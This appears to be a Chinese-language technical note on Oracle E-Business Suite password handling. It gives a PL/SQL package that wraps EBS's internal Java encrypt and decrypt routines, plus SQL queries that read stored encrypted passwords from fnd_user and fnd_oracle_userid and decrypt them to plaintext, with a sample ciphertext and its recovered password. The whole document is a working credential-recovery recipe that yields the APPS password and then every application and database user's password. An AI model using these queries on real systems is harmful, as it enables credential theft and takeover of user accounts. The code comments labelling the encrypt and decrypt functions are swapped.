EBS用户密码加密解密研究

1. 创建加密解密的package

create or replace PACKAGE ML_PASSWORD_TEST AS 
  --加密函数
  function decrypt(key in VARCHAR2,VALUE IN VARCHAR2) RETURN VARCHAR2;
  --解密函数
  FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;

END ML_PASSWORD_TEST;

create or replace PACKAGE BODY ML_PASSWORD_TEST AS

  function decrypt(key in VARCHAR2,VALUE IN VARCHAR2) RETURN VARCHAR2 AS
    LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
  
  FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
    LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String';
END ML_PASSWORD_TEST;

2. 获取EBS数据库用户APPS密码
   方法1：
   ①取得APPS密文
   密文：ZHABF7919C706A649741582704374864D4CD30446F1D8873ACDC0ABD043105907180913D8E0B037BBFE7A8C412AC85214C3C

select encrypted_foundation_password from apps.fnd_user_view where user_name='GUEST';

②取得APPS明文（密码）

select ML_PASSWORD_TEST.decrypt('GUEST/ORACLE',
'ZHABF7919C706A649741582704374864D4CD30446F1D8873ACDC0ABD043105907180913D8E0B037BBFE7A8C412AC85214C3C') pwd
from dual;

明文：ABCD12345
方法2：

SELECT
        (SELECT ML_PASSWORD_TEST.decrypt(fnd_web_sec.get_guest_username_pwd,usertable.encrypted_foundation_password)
        FROM dual
        )AS apps_password
      FROM apps.fnd_user usertable
      WHERE usertable.user_name=
        (SELECT SUBSTR(fnd_web_sec.get_guest_username_pwd, 1,instr(fnd_web_sec.get_guest_username_pwd,'/') - 1)
        FROM dual
        );

3. 获取ebs某个用户的密码
   获取用户的密文

select encrypted_user_password,user_name from apps.fnd_user;

获取用户明文

select ML_PASSWORD_TEST.decrypt('APPS密码','用户的密文') pwd from dual;

4. 获得EBS数据库某用户的密码
   获取密文：

select encrypted_oracle_password,oracle_username from fnd_oracle_userid;

获取密码：

select ML_PASSWORD_TEST.decrypt('APPS密码','用户的密文') pwd from dual;

5. 加密

select ML_PASSWORD_TEST.encrypt('APPS密码','需要加密的密码') pwd_encrypted from dual;